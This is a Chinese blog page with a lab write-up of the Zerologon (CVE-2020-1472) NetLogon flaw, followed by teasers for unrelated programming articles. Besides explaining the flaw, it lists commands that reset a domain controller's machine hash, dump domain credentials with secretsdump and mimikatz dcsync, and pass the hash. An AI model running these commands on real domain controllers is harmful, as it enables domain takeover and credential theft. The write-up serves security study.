当前位置： 首页 > news >正文

NetLogon 权限提升漏洞

news 来源：原创 2025/9/18 11:15:59

参考文章：CVE-2020-1472NetLogon权限提升漏洞_cve-2020-1472复现 谢公子-CSDN博客

  • 域控机器账户：WIN-0V0GAORDC17

  • 域控 ip：192.168.72.163

  • 域内攻击者机器 ip：192.168.72.158，host：WIN10-01

  • 攻击者 kali 机器 ip：192.168.72.162

NetLogon服务

Netlogon 是一个 Windows Server 进程，用于对域内的用户和其他服务进行身份验证。由于它是一项服务而不是应用程序，因此 Netlogon 会在后台持续运行，除非手动或因运行时错误而停止。可以从命令行终端停止或重新启动 Netlogon。最常见的是让用户使用 NTLM 协议登录服务器。默认情况下，Netlogon 服务在域内所有机器后台运行着，该服务的可执行文件路径为 C:\Windows\system32\lsass.exe。

NetLogon认证流程

  1. 客户端调用 NetrServerReqChallenge 函数给服务端发送随机8字节 Client Challenge 值。

  2. 服务端调用 NetrServerReqChallenge 函数给客户端发送随机8字节 Server Challenge 值。

  3. 双方同时生成 Session Key=KDF(secret,(Client Challenge+Server Challenge)) ，此secret是客户端机器账号的哈希值。

  4. 客户端使用 Session Key 作为密钥对 Client Challenge 加密运算为 Client Credential 并发给服务器，服务端进行相同步骤的运算并将结果与 Client Credential进行对比，相同则表示客户端有正确的凭据。

  5. 服务端使用 Session Key 作为密钥对 Server Challenge 值加密运算为 Server Credential 并发给客户端，客户端进行相同步骤的运算并将结果与 Server Credential 进行对比，相同则表示服务端拥有相同Session Key。

  6. 使用 Session Key 加密流量通信。

Session Key的生成

Session Key=KDF(secret,(Client Challenge+Server Challenge))，三种加密算法可选：AES、Strong-key 、DES。但是现代的 Windows server 通常拒绝 Strong-key 和 DES，所以都用 AES 加密。

  1. md4 加密算法运算 SharedSecret 得到 M4SS，此 SharedSecret 是客户端机器账号的哈希值。

  2. M4SS 作为密钥使用 HMAC-SHA256 算法对 Client Challenge 和 Server Challenge 进行一系列运算得到的结果取低 16 字节作为 Session Key。

 ComputeSessionKey(SharedSecret, ClientChallenge, ServerChallenge)M4SS := MD4(UNICODE(SharedSecret)) CALL SHA256Reset(HashContext, M4SS, sizeof(M4SS));CALL SHA256Input(HashContext, ClientChallenge, sizeof(ClientChallenge));CALL SHA256FinalBits (HashContext, ServerChallenge, sizeof(ServerChallenge));CALL SHA256Result(HashContext, SessionKey);SET SessionKey to lower 16 bytes of the SessionKey;
Credential 的生成

由于现代的 windows server 都拒绝 Strong-key 和 DES，所以都用 AES 加密

  1. 初始化 16 字节 IV（上图黄色部分），对 IV 使用 Session Key 作为密钥，AES 算法加密后获取密文第一个字节。

  2. 将此字节与 Challenge（上图蓝色部分）得第一个字节进行异或运算，将运算后的结果（上图的e3）放在IV末尾，同时覆盖了Challenge的第一个字节。

  3. 抛弃原 IV 的第一个字节，从第二个字节开始一直到之前运算的字节（上图的e3）作为新的IV，也就是IV整体后移了一位。

  4. 取完这个 IV 后重放上述操作。

微软使用 ComputeNetlogonCredential 来生成 Credential，传入一个 SessionKey，局部变量初始化一个 IV，AES加密后得到 Credential。

 ComputeNetlogonCredential(Input, Sk, Output)SET IV = 0CALL AesEncrypt(Input, Sk, IV, Output)

漏洞原理

135 端口的 netlogon 协议加密模块存在缺陷，导致攻击者使用管理员权限访问 135 端口调用远程 RPC 服务重置域控制器机器账号 hash。

在上述的 NetLogon 身份验证过程中，客户端是在第4步向服务端发送Client Credential进行的身份验证，但是客户端发送的Client Credential有1/256的概率全为0，这是因为微软在ComputeNetlogonCredential函数中生成Credential时，IV被初始化为全0，如下图所示：

  1. IV（上图黄色部分）全为0，Client Challenge（上图蓝色部分）因为我们可控全为0

  2. 只要 AES 加密算法对全 0 位的 16 字节进行运算的到的结果的第一个字节为 00，那么最终结果Credential就为全0位

    • 此时加密密钥为Session Key，而此Session Key=KDF(secret,(Client Challenge+Server Challenge))，也就是随机生成的，而随机生成的Session Key对全0位的16字节进行AES运算后，得到的结果第一个字节为00的概率是1/256

    • 服务端是通过Client Credential来验证客户端身份信息，如果步骤4生成的Credential为全0位，则其同样是合法的，我们能在步骤4时无限发送全0位的Client Credential来以1/256的概率爆破出合法的会话

注：上文的NetLogon认证流程中，第6步，也就是会话建立时，是有Session Key加密通信的，但是就算这个漏洞利用成功，我们也只能通过第4步骤的身份验证，并不能构造出合法的Session Key加密通信，所以在Net Logon身份认证时，需要设置标志位来取消加密会话，下面的攻击脚本就设置了flag标志位为0x212fffff，此标志位包含了取消加密会话的标志选项

漏洞实验

脚本zerologon_tester.py 和 cve-2020-1472-exploit.py

zerologon_tester.py
# 检测是否存在漏洞
python zerologon_tester.py WIN-0V0GAORDC17 192.168.72.163
CVE-2020-1472.py
# 攻击，使域控的机器账号哈希置为空
python cve-2020-1472-exploit.py WIN-0V0GAORDC17 WIN-0V0GAORDC17$ 192.168.72.163

远程连接域控
# 使用 WIN-0V0GAORDC17$机器账号，哈希为空连接，导出 administrator 用户的哈希
python secretsdump.py HACKER.com/WIN-0V0GAORDC17$@192.168.72.163    -no-pass -just-dc-user "administrator"
​
# 导出所有用户哈希
python secretsdump.py HACKER.com/WIN-0V0GAORDC17$@192.168.72.163    -no-pass

mimikatz漏洞实验

检测是否存在漏洞
# 使用 mimikatz 执行如下命令检测目标域控是否存在 Netlogon 权限提升漏洞。
mimikatz.exe "privilege::debug" "lsadump::zerologon /target:192.168.72.163 /account:WIN-0V0GAORDC17$" "exit"
重置域控hash（攻击机在域中）
mimikatz.exe "lsadump::zerologon /target:WIN-0V0GAORDC17.HACKER.com /ntlm /null /account:WIN-0V0GAORDC17$ /exploit" "exit"
重置域控hash（攻击机在域外）
mimikatz.exe "lsadump::zerologon /target:192.168.72.163 /ntlm /null /account:WIN-0V0GAORDC17$ /exploit" "exit"
远程连接域控
#导出指定 administrator 用户哈希
mimikatz.exe "lsadump::dcsync /csv /domain:HACKER.com /dc:WIN-0V0GAORDC17.HACKER.com /user:administrator /authuser:WIN-0V0GAORDC17$ /authpassword:\"\" /authntlm" "exit" lsadump::dcsync /domain:HACKER.com /dc:WIN-0V0GAORDC17.HACKER.com /user:administrator /authuser:WIN-0V0GAORDC17$ /authpassword:""/authntlm
​
#然后用 administrator 用户的哈希进行 pth 攻击连接域控，这一步需要 privilege::debug 提权
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:192.168.72.163 /rc4:33e17aa21ccc6ab0e6ff30eecb918dfb" "exit"

恢复御用机器账户hash

获得域控机器账号的原始哈希
# 使用 mimikatz 的 sekurlsa::logonpassword 模块执行如下命令从 lsass.exe进程里面抓取域控机器账号 WIN-0V0GAORDC17$ 的原始哈希
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# 恢复域控哈希
python reinstall_original_pw.py WIN-0V0GAORDC17 192.168.72.163 eace846f4b183390a111a1888b96beff

相关文章：

NetLogon 权限提升漏洞

参考文章：CVE-2020-1472NetLogon权限提升漏洞_cve-2020-1472复现 谢公子-CSDN博客 域控机器账户：WIN-0V0GAORDC17 域控 ip：192.168.72.163 域内攻击者机器 ip：192.168.72.158，host：WIN10-01 攻击者 kali…...

编程日记 2025/9/18 11:15:59

UDP和TCP

UDP协议 报文中应该包含 源IP，源端口号目的IP，目的端口号UDP/TCP 一个进程是否可以绑定多个端口号？ 可以。多个进程是否可以绑定一个端口号？ 不可以，因为端口号的主要作用是唯一标识一台计算机上的一个特定服务或应…...

编程日记 2025/9/14 0:28:07

2025 年 1 月公链行业研报：比特币主导地位强化

2025 年 1 月公链行业研报 作者：Stella L (stellafootprint.network) 数据来源：Footprint Analytics 公链研究页面 2025 年 1 月，加密市场总市值增长 7.2% 至 2.8 万亿美元，主要区块链平台表现分化。在新的监管政策与人工智能基…...

编程日记 2025/9/14 0:28:05

在低功耗MCU上实现人工智能和机器学习

作者：Silicon Labs 人工智能（AI）和机器学习（ML）技术不仅正在快速发展，还逐渐被创新性地应用于低功耗的微控制器（MCU）中，从而实现边缘AI/ML解决方案。这些MCU是许多嵌入式…...

编程日记 2025/9/14 0:28:03

新数据结构(11)——Java类的产生和反射

反射是获取类信息的一种能力 类信息包括属性、方法、构造器、父类、接口等 类信息的来源 来自类的加载器，这是从.class文件到内存中的java虚拟器（JVM）中间的一个阶段（如下图） 类的加载器里，用Field数组存…...

编程日记 2025/9/14 5:43:04

智能网络感知，打造极致流畅的鸿蒙原生版中国移动云盘图文体验

背景 中国移动云盘（原“和彩云网盘”）是中国移动重磅推出的安全、智能、不限速、移动用户免流的智能云盘，致力于成为5G时代用户个人与家庭的数字资产管理中心，是中国移动继语音、短信、流量后的“第四项基础服务”。 照片、音视…...

编程日记 2025/9/13 23:24:57

MySQL查看视图

《MySQL 9从入门到性能优化（视频教学版）（数据库技术丛书）》(王英英)【摘要 书评 试读】- 京东图书 (jd.com) MySQL9数据库技术_夏天又到了的博客-CSDN博客 查看视图是查看数据库中已存在的视图的定义。查看视图必须要有SHOW VIE…...

编程日记 2025/9/13 23:24:56

量子计算的基本运算：Hadamard 门、CNOT 门、Pauli 门详解

量子计算是现代计算科学的前沿领域，它与经典计算机在处理信息的方式上有着本质的区别。量子计算机利用量子比特（qubit）的叠加态和量子纠缠等特性来进行计算，从而在某些特定任务上超越传统计算机。量子计算的核心运算单元是量子门，它们通过作用于量子比特来操控量子状态。本…...

编程日记 2025/9/15 17:32:58

java(spring boot)实现向deepseek/GPT等模型的api发送请求/多轮对话(附源码)

我们再启动应用并获取api密钥后就可以对它发送请求了，但是官方文档对于如何进行多轮对话以及怎么自定义参数并没有说的很清楚，给的模板也没有java的，因此我们需要自己实现。 import org.json.JSONArray; import org.json.JSONObject;import j…...

编程日记 2025/9/16 8:24:59

Flask flash() 消息示例

目录 安装 Flask 入门：Flask flash() 基本示例 进阶：使用 Flask-WTF Flash 登录结果消息 详解：get_flashed_messages() 详解：flash() 消息的完整生命周期 Flask 提供 flash() 用于向 用户传递临时消息，通常用于： • 表单提交成功或失败 • 用户登录、注册、退出提…...

编程日记 2025/9/15 18:00:04

ubuntu环境编译ffmepg支持nvidia显卡加速

文章目录 1. 安装NVIDIA驱动2. 安装CUDA&NV-CODEC2.1 安装CUDA2.2 安装NV-CODEC 3. 编译ffmpeg3.1 安装依赖3.2 下载源码安装依赖3.3 验证 4. 使用 1. 安装NVIDIA驱动 安装依赖包 sudo apt install -y ubuntu-drivers-common编辑 /etc/modprobe.d/blacklist-nouveau.conf 文…...

编程日记 2025/9/15 17:36:27

C++类与对象深度解析（一）：从引用、内联函数到构造析构的编程实践

目录 一.引用 引用的特征：1.引用必须初始化 2.本质是别名 3.函数参数传递 4.常引用 5.函数返回值 6.权限 放大 缩小 平移 引用 vs 指针 二.内联函数 关键点说明 三.宏函数 四.类 什么是类？ 简单的类 五.构造函数与析构函数 1. 构造函数&…...

编程日记 2025/9/13 23:24:47

SpringCloud-使用FFmpeg对视频压缩处理

在现代的视频处理系统中，压缩视频以减小存储空间、加快传输速度是一项非常重要的任务。FFmpeg作为一个强大的开源工具，广泛应用于音视频的处理，包括视频的压缩和格式转换等。本文将通过Java代码示例，向您展示如何使用FFmpeg进行视…...

编程日记 2025/9/16 1:38:37

Pytorch实现之粒子群优化算法在GAN中的应用

简介 简介：主要是采用了粒子群优化（PSO）算法来优化GAN的一个训练。PSO是一种是一种基于种群的随机优化技术。这种优化技术是通过粒子群进行的，粒子群在每次迭代中都会更新自己。对于给定的目标函数，这种方法利用一个搜索空间，在那里粒子群移动，找到所需的全局最小值。这…...

编程日记 2025/9/13 5:57:16

http+nginx

HTTP协议：超文本传输协议，Hyper Text transfer protocol（发明者：蒂姆.伯纳斯.李） 1.超文本 包含超链接(link)和各种多媒体元素的文本，这些超文本文件彼此相连，形成网状（web&…...

编程日记 2025/9/15 7:24:39

网络运维学习笔记 014网工初级（HCIA-Datacom与CCNA-EI）ACL访问控制列表

文章目录 ACL（Access Control List，访问控制列表）思科：实验1（标准ACL）：实验2（扩展ACL）：实验3（ACL在VTY的使用场景）： 华为&…...

编程日记 2025/9/17 16:20:40

002 SpringCloudAlibaba整合 - Feign远程调用、Loadbalancer负载均衡

前文地址： 001 SpringCloudAlibaba整合 - Nacos注册配置中心、Sentinel流控、Zipkin链路追踪、Admin监控 文章目录 8.Feign远程调用、loadbalancer负载均衡整合1.OpenFeign整合1.引入依赖2.启动类添加EnableFeignClients注解3.yml配置4.日志配置5.远程调用测试6.服务…...

编程日记 2025/9/13 23:24:38

机器视觉检测中，2D面阵相机和线扫相机的区别

2D面阵相机和线扫相机是工业视觉系统中常用的两种相机类型，各有其特点和应用场景。 2D面阵相机 特点： 成像方式：通过二维传感器一次性捕捉整个场景的图像。 分辨率：分辨率由传感器的像素数决定，常见的有百万像素到几千…...

编程日记 2025/9/18 11:09:47

解锁观察者模式：Java编程中的高效事件管理之道

系列文章目录 后续补充~~~ 文章目录 一、引言：探索观察者模式的奥秘二、观察者模式的核心原理2.1 模式定义与概念2.2 关键角色剖析2.3 工作机制深度解析 三、观察者模式在 Java 中的实现3.1 手动实现观察者模式3.2 使用 JDK 内置的观察者模式3.3 代码示例解析与对比…...

编程日记 2025/9/15 9:55:15

Ubuntu编译ZLMediaKit

下载 git clone https://gitee.com/xia-chu/ZLMediaKit cd ZLMediaKit git submodule update --init安装工具 sudo apt install -y build-essential sudo apt install -y gcc g sudo apt install -y cmakesudo apt install -y build-essential cmake git libssl-dev libsdl1.…...

编程日记 2025/9/13 23:24:32

全面指南：使用JMeter进行性能压测与性能优化（中间件压测、数据库压测、分布式集群压测、调优）

目录 一、性能测试的指标 1、并发量 2、响应时间 3、错误率 4、吞吐量 5、资源使用率 二、压测全流程 三、其他注意点 1、并发和吞吐量的关系 2、并发和线程的关系 四、调优及分布式集群压测（待仔细学习） 1.线程数量超过单机承载能力时的解决…...

编程日记 2025/9/13 23:24:30

鸿蒙初学者学习手册(HarmonyOSNext_API14)_自定义动画API（@ohos.animator (动画) ）

前言 在纯血鸿蒙中最具有用户特色的效果就是自定义的动画效果。在纯血鸿蒙中有多种定义方式，但是今天介绍的是ApI中的自定义动画。 注意: 动画本身具有生命周期，但是不支持在UIAbility的文件使用，简单而言就是不允许在UIAbility生命周期中…...

编程日记 2025/9/18 10:54:50

Grok 3.0 Beta 版大语言模型评测

2025年2月17日至18日，全球首富埃隆马斯克（Elon Musk）携手其人工智能公司xAI，在美国重磅发布了Grok 3.0 Beta版。这款被誉为“迄今为止世界上最智能的语言模型”的AI，不仅集成了先进的“DeepSearch”搜索功能&#xff0…...

编程日记 2025/9/17 8:42:29

IDEA中查询Maven项目的依赖树

在Maven项目中，查看项目的依赖树是一个常见的需求，特别是当你需要了解项目中直接或间接依赖了哪些库及其版本时。你可以通过命令行使用Maven的dependency:tree插件来做到这一点。这个命令会列出项目中所有依赖的树状结构。 打开idea项目的终端&#xff…...

编程日记 2025/9/13 23:24:25

学习aigc

DALLE2 论文 Hierarchical Text-Conditional Image Generation with CLIP Latents [2204.06125] Hierarchical Text-Conditional Image Generation with CLIP LatentsAbstract page for arXiv paper 2204.06125: Hierarchical Text-Conditional Image Generation with CLIP L…...

编程日记 2025/9/13 23:24:23

springboot整合mybatis-plus【详细版】

目录 一，简介 1. 什么是mybatis-plus2.mybatis-plus特点 二，搭建基本环境 1. 导入基本依赖：2. 编写配置文件3. 创建实体类4. 编写controller层5. 编写service接口6. 编写service层7. 编写mapper层 三，基本知识介绍 1. 基本注解 T…...

编程日记 2025/9/13 19:25:42

【2024 CSDN博客之星】大学四年，我如何在CSDN实现学业与事业的“双逆袭”？

前言： Hello大家好，我是Dream。不知不觉2024年已经过去，自己也马上迈入23岁，感慨时间飞快，从19岁刚入大学加入CSDN，到现在大学毕业已经整整四年了。CSDN陪伴我走过了最青涩的四年大学时光，在这里…...

编程日记 2025/9/13 23:24:19

在VS中通过vcpkg包管理器来安装使用qt5

常用指令 .\vcpkg install 库名 .\vcpkg install 库名版本号.\vcpkg install 库名 --trip x86-windows.\vcpkg list.\vcpkg search 库名 .\vcpkg x-all-installed --7zip PS G:\vcpkg> .\vcpkg help usage: vcpkg <command> [--switches] [--optionsvalues] [argume…...

编程日记 2025/9/13 23:24:18

【C++篇】树影摇曳，旋转无声：探寻AVL树的平衡之道

文章目录 从结构到操作&#xff1a;手撕AVL树的实现一、AVL树介绍1.1 什么是AVL树1.2 平衡因子的定义1.3 平衡的意义1.4 AVL树的操作 二、AVL树的节点结构2.1 节点结构的定义&#xff1a; 三、插入操作3.1 插入操作概述3.2 步骤1&#xff1a;按二叉查找树规则插入节点3.3 步骤2…...

编程日记 2025/9/13 23:24:16

CPU、SOC、MPU、MCU--详细分析四者的区别

一、CPU 与SOC的区别 1.CPU 对于电脑&#xff0c;我们经常提到&#xff0c;处理器&#xff0c;内存&#xff0c;显卡&#xff0c;硬盘四大部分可以组成一个基本的电脑。其中的处理器——Central Processing Unit&#xff08;中央处理器&#xff09;。CPU是一台计算机的运算核…...

编程日记 2025/9/13 23:24:14

nacos编写瀚高数据库插件

1、下载nacos源码 git clone gitgithub.com:alibaba/nacos.git 2、引入瀚高驱动 <dependency><groupId>com.highgo</groupId><artifactId>jdbc</artifactId><version>${highgo.version}</version></dependency> 3、DataSource…...

编程日记 2025/9/15 0:53:26

使用excel中的VBA合并多个excel文件

需求是这样的&#xff1a; 在Windows下&#xff0c;用excel文件让多个小组填写了统计信息&#xff0c;现在我需要把收集的多个文件汇总到一个文件中&#xff0c;前三行为标题可以忽略&#xff0c;第四行为收集信息的列名&#xff0c;处理每一行数据的时候&#xff0c;发现某一行…...

编程日记 2025/9/13 23:24:09

linux 安装启动zookeeper全过程及遇到的坑

1、下载安装zookeeper 参考文章&#xff1a;https://blog.csdn.net/weixin_48887095/article/details/132397448 2、启动失败 1、启动失败JAVA_HOME is not set and java could not be found in PATH 已安装 JAVA 配置了JAVA_HOME,还是报错解决方法&#xff1a;参考&#xf…...

编程日记 2025/9/13 23:24:07

JAVA JUC 并发编程学习笔记（一）

文章目录 JUC进程概述对比 线程创建线程ThreadRunnableCallable 线程方法APIrun startsleep yieldjoininterrupt打断线程打断 park终止模式 daemon不推荐 线程原理运行机制线程调度未来优化 线程状态查看线程 同步临界区syn-ed使用锁同步块同步方法线程八锁 锁原理Monitor字节码…...

编程日记 2025/9/13 23:24:03

内容中台架构下智能推荐系统的算法优化与分发策略

内容概要 在数字化内容生态中&#xff0c;智能推荐系统作为内容中台的核心引擎&#xff0c;承担着用户需求与内容资源精准匹配的关键任务。其算法架构的优化路径围绕动态特征建模与多模态数据融合展开&#xff0c;通过深度强化学习技术实现用户行为特征的实时捕捉与动态更新&a…...

编程日记 2025/9/13 23:24:02

Java 内存区域详解

1 常见面试题 1.1 基本问题 介绍下Java内存区域&#xff08;运行时数据区&#xff09;Java对象的创建过程&#xff08;五步&#xff0c;建议能够默写出来并且要知道每一步虚拟机做了什么&#xff09;对象的访问定位的两种方式&#xff08;句柄和直接指针两种方式&#xff09;…...

编程日记 2025/9/13 22:43:20

jEasyUI 创建学校课程表

jEasyUI 创建学校课程表 引言 随着信息技术的飞速发展，教育行业也迎来了数字化转型的浪潮。学校课程表的创建和管理作为教育信息化的重要组成部分，其效率和准确性直接影响到学校的教学秩序。jEasyUI，作为一款优秀的开源UI框架，凭借其易用性、灵活性和丰富的组件，成为了许…...

编程日记 2025/9/14 5:42:59

利用 OpenCV 进行棋盘检测与透视变换

利用 OpenCV 进行棋盘检测与透视变换 1. 引言 在计算机视觉领域&#xff0c;棋盘检测与透视变换是一个常见的任务&#xff0c;广泛应用于 摄像机标定、文档扫描、增强现实&#xff08;AR&#xff09; 等场景。本篇文章将详细介绍如何使用 OpenCV 进行 棋盘检测&#xff0c;并…...

编程日记 2025/9/14 4:45:51

git-提交时间和作者时间的区别

1.介绍 定义介绍 提交时间&#xff08;Committer Date&#xff09;&#xff1a;决定了提交在 Git 历史中的位置&#xff0c;通常影响 GitHub 上提交显示的顺序。 作者时间&#xff08;Author Date&#xff09;&#xff1a;虽然不影响提交的排序&#xff0c;但在每个提交详情页…...

编程日记 2025/9/15 12:28:07

解决双系统开机显示gnu grub version 2.06 Minimal BASH Like Line Editing is Supported

找了好多教程都没有用&#xff0c;终于解决了&#xff01;&#xff01;我是因为ubuntu分区的时候出问题了 问题描述&#xff1a; 双系统装好&#xff0c;隔天开机找不到引导项&#xff0c;黑屏显示下列 因为我用的D盘划分出来的部分空闲空间&#xff0c;而不是全部&#xff0c…...

编程日记 2025/9/14 3:06:07

基于Flask的京东商品信息可视化分析系统的设计与实现

【Flask】基于Flask的京东商品信息可视化分析系统的设计与实现&#xff08;完整系统源码开发笔记详细部署教程&#xff09;✅ 目录 一、项目简介二、项目界面展示三、项目视频展示 一、项目简介 系统能够灵活地执行SQL查询&#xff0c;提取出用于分析的关键数据指标。为了将这…...

编程日记 2025/9/14 3:06:05

期权帮|股指期货中的套期保值如何操作？

锦鲤三三每日分享期权知识&#xff0c;帮助期权新手及时有效地掌握即市趋势与新资讯&#xff01; 股指期货中的套期保值如何操作&#xff1f; 一、股指期货中的套期保值准备阶段 确定套保需求&#xff0c;投资者依据市场预判与投资组合分析&#xff0c;决定是否套保。 &…...

编程日记 2025/9/16 3:39:20

用Chrome Recorder轻松完成自动化测试脚本录制

前言 入门自动化测试，录制回放通常是小白测试首先用到的功能。而录制回放工具也一直是各大Web自动化测试必然会着重提供的一块功能。 早期WinRunner、QTP这样的工具，自动化测试可以说是围绕录制回放开展的。近年像Selenium也提供有录制工具 Selenium IDE，Playwright也包含…...

编程日记 2025/9/14 3:05:59

C/C++面试知识点总结

目录 1. 指针1.1 智能指针1.2 指针和引用的区别1.3 数组和指针的区别1.4 数组指针和指针数组的区别1.5 迭代器和指针的区别1.6 strcpy 和 memcpy 的区别 2. 内存管理与分配2.1 内存分配与存储区2.2 malloc / free2.3 volatile和extern的区别2.4 拷贝构造函数2.5 预处理、编译、…...

编程日记 2025/9/14 3:05:57

springboot三层架构详细讲解

目录 springBoot三层架构 0.简介1.各层架构 1.1 Controller层1.2 Service层1.3 ServiceImpl1.4 Mapper1.5 Entity1.6 Mapper.xml 2.各层之间的联系 2.1 Controller 与 Service2.2 Service 与 ServiceImpl2.3 Service 与 Mapper2.4 Mapper 与 Mapper.xml2.5 Service 与 Entity2…...

编程日记 2025/9/13 12:17:28

助力DeepSeek私有化部署服务：让企业AI落地更简单、更安全

在数字化转型的浪潮中&#xff0c;越来越多的企业选择私有化部署AI技术&#xff0c;以保障数据安全、提升业务效率并实现自主可控。DeepSeek作为行业领先的AI开源技术&#xff0c;其技术可以支持企业私有化部署&#xff0c;企业需要一站式服务私有化部署&#xff0c;涵盖硬件采…...

编程日记 2025/9/14 3:05:52

Mac book Air M2 用VMware安装 Ubuntu22.04

安装 VMware Fusion 下载 Ubuntu 安装VMware 完成之后运行新建 将对应Ubuntu 版本拖拽 如图 选择第一个回车 选绿色 回车 为空 相关命令行 sudo apt install net-tools sudo apt install ubuntu-desktop sudo reboot 常用命令行 uname uname -a clear ll ifconfig (查…...

编程日记 2025/9/14 3:05:50

Spring Boot接收参数的19种方式

Spring Boot是一个强大的框架&#xff0c;允许开发人员通过多种方式接收和处理参数。无论是HTTP请求参数、路径变量&#xff0c;还是请求体中的数据&#xff0c;Spring Boot都能提供灵活的处理方式。本文将介绍19种不同的方式来接收参数。 1. 查询参数&#xff08;Query Param…...

编程日记 2025/9/14 3:05:48

Linux firewalld 常用命令

本文参考RedHat官网文章How to configure a firewall on Linux with firewalld。 Firewalld 是守护进程名&#xff0c;对应命令为firewall-cmd。帮助详见以下命令&#xff1a; $ firewall-cmd --helpUsage: firewall-cmd [OPTIONS...]General Options-h, --help Pr…...

编程日记 2025/9/14 3:05:46

火语言RPA--Excel插入空行

【组件功能】&#xff1a;在Excel内指定的位置插入空行 配置预览 配置说明 在第n行之前 支持T或# 填写添加插入第n行之前行号。 插入n行 支持T或# 插入多少行。 Sheet页名称 支持T或# Excel表格工作簿名称。 示例 Excel插入空行 描述 在第3行之后插入3行。 配置 输…...

编程日记 2025/9/14 3:05:44